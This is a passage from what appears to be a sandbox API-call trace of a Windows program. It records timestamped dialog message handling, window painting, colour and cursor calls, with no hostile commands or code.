cOrientation=0, cWeight=800, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x1, iOutPrecision=0x4, iClipPrecision=0x0, iQuality=0x2, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x4c0a082c [0053.881] SendMessageW (hWnd=0x301f6, Msg=0x30, wParam=0x4c0a082c, lParam=0x1) returned 0x1 [0053.885] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0053.885] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0053.885] ShowWindow (hWnd=0x201f4, nCmdShow=5) returned 0 [0053.885] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.885] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0053.886] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.886] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x46, wParam=0x0, lParam=0x32af65fbb0) returned 0x0 [0053.898] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.898] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x46, wParam=0x0, lParam=0x32af65fbb0) returned 0x0 [0053.898] NtdllDefWindowProc_W (hWnd=0xc002c, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0053.898] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.898] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0053.898] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.899] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0053.899] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.899] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.899] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x6, wParam=0x1, lParam=0x0) returned 0x0 [0053.901] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.901] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0053.913] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.913] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0053.913] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.913] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.913] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0053.913] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.913] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x8, wParam=0x40174, lParam=0x0) returned 0x0 [0053.913] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.913] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0053.913] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.914] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0053.914] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.914] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x14, wParam=0xffffffffa201056e, lParam=0x0) returned 0x1 [0053.914] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.914] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.914] GetSysColor (nIndex=15) returned 0xf0f0f0 [0053.914] SetBkColor (hdc=0xffffffffa201056e, color=0xf0f0f0) returned 0xffffff [0053.914] CreateSolidBrush (color=0xf0f0f0) returned 0xffffffffeb100574 [0053.914] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.914] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x47, wParam=0x0, lParam=0x32af65fbb0) returned 0x0 [0053.914] GetForegroundWindow () returned 0x301cc [0053.914] IsIconic (hWnd=0x201f4) returned 0 [0053.914] SetForegroundWindow (hWnd=0x201f4) returned 1 [0053.915] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.915] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x86, wParam=0x1, lParam=0x201f4) returned 0x1 [0053.916] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.916] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x46, wParam=0x0, lParam=0x32af65fb70) returned 0x0 [0053.916] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.916] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0053.916] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.916] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x14, wParam=0xffffffffa201056e, lParam=0x0) returned 0x1 [0053.916] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.916] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.916] GetSysColor (nIndex=15) returned 0xf0f0f0 [0053.916] SetBkColor (hdc=0xffffffffa201056e, color=0xf0f0f0) returned 0xf0f0f0 [0053.926] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.926] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x47, wParam=0x0, lParam=0x32af65fb70) returned 0x0 [0053.926] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 1 [0053.926] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.926] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0053.926] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.926] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0053.926] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.926] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0053.926] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.926] GetWindowLongW (hWnd=0x201f4, nIndex=-20) returned 256 [0053.926] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x84, wParam=0x0, lParam=0x20102f9) returned 0x1 [0053.926] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.926] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.926] GetClientRect (in: hWnd=0x201f4, lpRect=0x32af65f8c0 | out: lpRect=0x32af65f8c0) returned 1 [0053.926] GetCursorPos (in: lpPoint=0x32af65f8e0 | out: lpPoint=0x32af65f8e0*(x=761, y=513)) returned 1 [0053.926] ScreenToClient (in: hWnd=0x201f4, lpPoint=0x32af65f8e0 | out: lpPoint=0x32af65f8e0) returned 1 [0053.926] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0053.926] SetCursor (hCursor=0x10003) returned 0x10007 [0053.926] IsDialogMessageW (hDlg=0x201f4, lpMsg=0x32af65fc10) returned 1 [0053.926] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.926] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x200, wParam=0x0, lParam=0x18b01b8) returned 0x0 [0053.926] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 1 [0053.926] IsDialogMessageW (hDlg=0x201f4, lpMsg=0x32af65fc10) returned 1 [0053.926] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.926] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.927] BeginPaint (in: hWnd=0x201f4, lpPaint=0x32af65f7b0 | out: lpPaint=0x32af65f7b0) returned 0xffffffffa201056e [0053.927] EndPaint (hWnd=0x201f4, lpPaint=0x32af65f7b0) returned 1 [0053.927] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 1 [0053.927] IsDialogMessageW (hDlg=0x201f4, lpMsg=0x32af65fc10) returned 1 [0053.927] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.927] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x14, wParam=0x7a0105a6, lParam=0x0) returned 0x1 [0053.927] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.927] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.927] GetSysColor (nIndex=15) returned 0xf0f0f0 [0053.927] SetBkColor (hdc=0x7a0105a6, color=0xf0f0f0) returned 0xffffff [0053.927] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.927] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x318, wParam=0x7a0105a6, lParam=0x4) returned 0x0 [0053.927] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.927] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.927] GetSysColor (nIndex=15) returned 0xf0f0f0 [0053.927] SetBkColor (hdc=0x7a0105a6, color=0xf0f0f0) returned 0xf0f0f0 [0053.927] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.927] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.927] GetWindowLongPtrW (hWnd=0x40174, nIndex=-21) returned 0x3 [0053.927] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x4e, wParam=0x3, lParam=0x32af65f3b0) returned 0x0 [0053.927] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.927] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.927] GetWindowLongPtrW (hWnd=0x40174, nIndex=-21) returned 0x3 [0053.927] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x4e, wParam=0x3, lParam=0x32af65f3b0) returned 0x0 [0053.928] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 1 [0053.928] IsDialogMessageW (hDlg=0x201f4, lpMsg=0x32af65fc10) returned 1 [0053.928] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.928] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.928] GetWindowLongPtrW (hWnd=0x40172, nIndex=-21) returned 0x4 [0053.928] GetWindowLongPtrW (hWnd=0x40172, nIndex=-21) returned 0x4 [0053.928] GetSysColor (nIndex=15) returned 0xf0f0f0 [0053.928] SetTextColor (hdc=0xe010572, color=0xff00) returned 0x0 [0053.928] SetBkColor (hdc=0xe010572, color=0x0) returned 0xffffff [0053.928] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.928] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x14, wParam=0xe010572, lParam=0x0) returned 0x1 [0053.928] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.928] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.928] GetSysColor (nIndex=15) returned 0xf0f0f0 [0053.928] SetBkColor (hdc=0xe010572, color=0xf0f0f0) returned 0x0 [0053.928] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.928] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x318, wParam=0xe010572, lParam=0x4) returned 0x0 [0053.931] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.931] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.931] GetWindowLongPtrW (hWnd=0x40172, nIndex=-21) returned 0x4 [0053.931] GetWindowLongPtrW (hWnd=0x40172, nIndex=-21) returned 0x4 [0053.931] GetSysColor (nIndex=15) returned 0xf0f0f0 [0053.931] SetTextColor (hdc=0xe010572, color=0xff00) returned 0x0 [0053.931] SetBkColor (hdc=0xe010572, color=0x0) returned 0xffffff [0053.931] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.931] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.931] GetWindowLongPtrW (hWnd=0x40172, nIndex=-21) returned 0x4 [0053.931] GetWindowLongPtrW (hWnd=0x40172, nIndex=-21) returned 0x4 [0053.931] GetSysColor (nIndex=15) returned 0xf0f0f0 [0053.931] SetTextColor (hdc=0xe010572, color=0xff00) returned 0xff00 [0053.931] SetBkColor (hdc=0xe010572, color=0x0) returned 0x0 [0053.931] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.931] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.931] GetWindowLongPtrW (hWnd=0x40172, nIndex=-21) returned 0x4 [0053.932] GetWindowLongPtrW (hWnd=0x40172, nIndex=-21) returned 0x4 [0053.941] GetSysColor (nIndex=15) returned 0xf0f0f0 [0053.941] SetTextColor (hdc=0xe010572, color=0xff00) returned 0xff00 [0053.941] SetBkColor (hdc=0xe010572, color=0x0) returned 0x0 [0053.942] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 1 [0053.942] IsDialogMessageW (hDlg=0x201f4, lpMsg=0x32af65fc10) returned 1 [0053.943] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.943] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.943] GetWindowLongPtrW (hWnd=0x130182, nIndex=-21) returned 0x5 [0053.943] GetWindowLongPtrW (hWnd=0x130182, nIndex=-21) returned 0x5 [0053.943] GetSysColor (nIndex=15) returned 0xf0f0f0 [0053.943] SetTextColor (hdc=0xe010572, color=0x0) returned 0x0 [0053.943] SetBkColor (hdc=0xe010572, color=0xf0f0f0) returned 0xffffff [0053.943] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 1 [0053.943] IsDialogMessageW (hDlg=0x201f4, lpMsg=0x32af65fc10) returned 1 [0053.943] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.943] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.943] GetWindowLongPtrW (hWnd=0x301f2, nIndex=-21) returned 0x6 [0053.943] GetWindowLongPtrW (hWnd=0x301f2, nIndex=-21) returned 0x6 [0053.943] GetSysColor (nIndex=15) returned 0xf0f0f0 [0053.943] GetWindowLongW (hWnd=0x301f2, nIndex=-16) returned 1342242944 [0053.943] GetSysColor (nIndex=5) returned 0xffffff [0053.943] GetSysColor (nIndex=8) returned 0x0 [0053.943] SetTextColor (hdc=0x1601069e, color=0x0) returned 0x0 [0053.943] SetBkColor (hdc=0x1601069e, color=0xffffff) returned 0xffffff [0053.943] CreateSolidBrush (color=0xffffff) returned 0xffffffffb81005b1 [0053.944] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.944] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x14, wParam=0x630107d2, lParam=0x0) returned 0x1 [0053.944] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.944] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.944] GetSysColor (nIndex=15) returned 0xf0f0f0 [0053.944] SetBkColor (hdc=0x630107d2, color=0xf0f0f0) returned 0xffffff [0053.944] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.944] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x318, wParam=0x630107d2, lParam=0x4) returned 0x0 [0053.944] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.944] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.944] GetWindowLongPtrW (hWnd=0x301f2, nIndex=-21) returned 0x6 [0053.944] GetWindowLongPtrW (hWnd=0x301f2, nIndex=-21) returned 0x6 [0053.944] GetSysColor (nIndex=15) returned 0xf0f0f0 [0053.944] GetWindowLongW (hWnd=0x301f2, nIndex=-16) returned 1342242944 [0053.944] GetSysColor (nIndex=5) returned 0xffffff [0053.944] GetSysColor (nIndex=8) returned 0x0 [0053.944] SetTextColor (hdc=0x640107d2, color=0x0) returned 0x0 [0053.944] SetBkColor (hdc=0x640107d2, color=0xffffff) returned 0xffffff [0053.955] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 1 [0053.955] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.955] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.955] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x20, wParam=0x40174, lParam=0x2000001) returned 0x0 [0053.955] IsDialogMessageW (hDlg=0x201f4, lpMsg=0x32af65fc10) returned 1 [0053.955] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.955] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.955] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x4e, wParam=0x3, lParam=0x32af65f8b0) returned 0x0 [0053.955] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 1 [0053.955] IsDialogMessageW (hDlg=0x201f4, lpMsg=0x32af65fc10) returned 1 [0053.955] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.955] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x14, wParam=0x3301067b, lParam=0x0) returned 0x1 [0053.955] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.955] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.955] GetSysColor (nIndex=15) returned 0xf0f0f0 [0053.955] SetBkColor (hdc=0x3301067b, color=0xf0f0f0) returned 0xffffff [0053.955] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.955] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x318, wParam=0x3301067b, lParam=0x4) returned 0x0 [0053.955] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.955] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.955] GetSysColor (nIndex=15) returned 0xf0f0f0 [0053.955] SetBkColor (hdc=0x3301067b, color=0xf0f0f0) returned 0xf0f0f0 [0053.955] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.955] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.955] GetWindowLongPtrW (hWnd=0x40174, nIndex=-21) returned 0x3 [0053.955] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x4e, wParam=0x3, lParam=0x32af65f3b0) returned 0x0 [0053.955] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.955] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.955] GetWindowLongPtrW (hWnd=0x40174, nIndex=-21) returned 0x3 [0053.955] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x4e, wParam=0x3, lParam=0x32af65f3b0) returned 0x0 [0053.956] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.956] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x14, wParam=0x650107d2, lParam=0x0) returned 0x1 [0053.956] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.956] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.956] GetSysColor (nIndex=15) returned 0xf0f0f0 [0053.956] SetBkColor (hdc=0x650107d2, color=0xf0f0f0) returned 0xffffff [0053.956] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.956] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x318, wParam=0x650107d2, lParam=0x4) returned 0x0 [0053.956] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.956] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.956] GetSysColor (nIndex=15) returned 0xf0f0f0 [0053.956] SetBkColor (hdc=0x650107d2, color=0xf0f0f0) returned 0xf0f0f0 [0053.956] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.956] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.956] GetWindowLongPtrW (hWnd=0x40174, nIndex=-21) returned 0x3 [0053.956] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x4e, wParam=0x3, lParam=0x32af65f3b0) returned 0x0 [0053.956] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.956] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.956] GetWindowLongPtrW (hWnd=0x40174, nIndex=-21) returned 0x3 [0053.956] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x4e, wParam=0x3, lParam=0x32af65f3b0) returned 0x0 [0053.956] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 1 [0053.956] IsDialogMessageW (hDlg=0x201f4, lpMsg=0x32af65fc10) returned 1 [0053.956] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.956] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x14, wParam=0x21010721, lParam=0x0) returned 0x1 [0053.956] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.956] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.956] GetSysColor (nIndex=15) returned 0xf0f0f0 [0053.957] SetBkColor (hdc=0x21010721, color=0xf0f0f0) returned 0xffffff [0053.957] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.957] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x318, wParam=0x21010721, lParam=0x4) returned 0x0 [0053.957] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.957] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.957] GetSysColor (nIndex=15) returned 0xf0f0f0 [0053.957] SetBkColor (hdc=0x21010721, color=0xf0f0f0) returned 0xf0f0f0 [0053.957] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.957] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.957] GetWindowLongPtrW (hWnd=0x301f8, nIndex=-21) returned 0x7 [0053.957] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x4e, wParam=0x7, lParam=0x32af65f3b0) returned 0x0 [0053.957] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.957] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.957] GetWindowLongPtrW (hWnd=0x301f8, nIndex=-21) returned 0x7 [0053.957] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x4e, wParam=0x7, lParam=0x32af65f3b0) returned 0x0 [0053.957] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 1 [0053.957] IsDialogMessageW (hDlg=0x201f4, lpMsg=0x32af65fc10) returned 1 [0053.957] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.957] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.957] GetWindowLongPtrW (hWnd=0x301f6, nIndex=-21) returned 0x8 [0053.957] GetWindowLongPtrW (hWnd=0x301f6, nIndex=-21) returned 0x8 [0053.957] GetSysColor (nIndex=15) returned 0xf0f0f0 [0053.957] GetWindowLongW (hWnd=0x301f6, nIndex=-16) returned 1342179332 [0053.957] GetSysColor (nIndex=15) returned 0xf0f0f0 [0053.957] GetSysColor (nIndex=8) returned 0x0 [0053.957] SetTextColor (hdc=0xe010572, color=0x0) returned 0x0 [0053.957] SetBkColor (hdc=0xe010572, color=0xf0f0f0) returned 0xffffff [0053.957] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.957] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x14, wParam=0x4801080f, lParam=0x0) returned 0x1 [0053.957] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.957] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.957] GetSysColor (nIndex=15) returned 0xf0f0f0 [0053.958] SetBkColor (hdc=0x4801080f, color=0xf0f0f0) returned 0xffffff [0053.958] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.958] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x318, wParam=0x4801080f, lParam=0x4) returned 0x0 [0053.958] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.958] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.958] GetWindowLongPtrW (hWnd=0x301f6, nIndex=-21) returned 0x8 [0053.958] GetWindowLongPtrW (hWnd=0x301f6, nIndex=-21) returned 0x8 [0053.958] GetSysColor (nIndex=15) returned 0xf0f0f0 [0053.958] GetWindowLongW (hWnd=0x301f6, nIndex=-16) returned 1342179332 [0053.958] GetSysColor (nIndex=15) returned 0xf0f0f0 [0053.958] GetSysColor (nIndex=8) returned 0x0 [0053.958] SetTextColor (hdc=0xe010572, color=0x0) returned 0x0 [0053.958] SetBkColor (hdc=0xe010572, color=0xf0f0f0) returned 0xffffff [0053.958] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.958] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.958] GetWindowLongPtrW (hWnd=0x301f6, nIndex=-21) returned 0x8 [0053.958] GetWindowLongPtrW (hWnd=0x301f6, nIndex=-21) returned 0x8 [0053.958] GetSysColor (nIndex=15) returned 0xf0f0f0 [0053.958] GetWindowLongW (hWnd=0x301f6, nIndex=-16) returned 1342179332 [0053.958] GetSysColor (nIndex=15) returned 0xf0f0f0 [0053.959] GetSysColor (nIndex=8) returned 0x0 [0053.959] SetTextColor (hdc=0xe010572, color=0x0) returned 0x0 [0053.959] SetBkColor (hdc=0xe010572, color=0xf0f0f0) returned 0xf0f0f0 [0053.959] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.959] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.959] GetWindowLongPtrW (hWnd=0x301f6, nIndex=-21) returned 0x8 [0053.959] GetWindowLongPtrW (hWnd=0x301f6, nIndex=-21) returned 0x8 [0053.959] GetSysColor (nIndex=15) returned 0xf0f0f0 [0053.959] GetWindowLongW (hWnd=0x301f6, nIndex=-16) returned 1342179332 [0053.959] GetSysColor (nIndex=15) returned 0xf0f0f0 [0053.959] GetSysColor (nIndex=8) returned 0x0 [0053.959] SetTextColor (hdc=0xe010572, color=0x0) returned 0x0 [0053.959] SetBkColor (hdc=0xe010572, color=0xf0f0f0) returned 0xf0f0f0 [0053.959] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 1 [0053.959] TranslateMessage (lpMsg=0x32af65fc10) returned 0 [0053.959] DispatchMessageW (lpMsg=0x32af65fc10) returned 0x0 [0053.959] GetForegroundWindow () returned 0x201f4 [0053.959] GetWindowLongPtrW 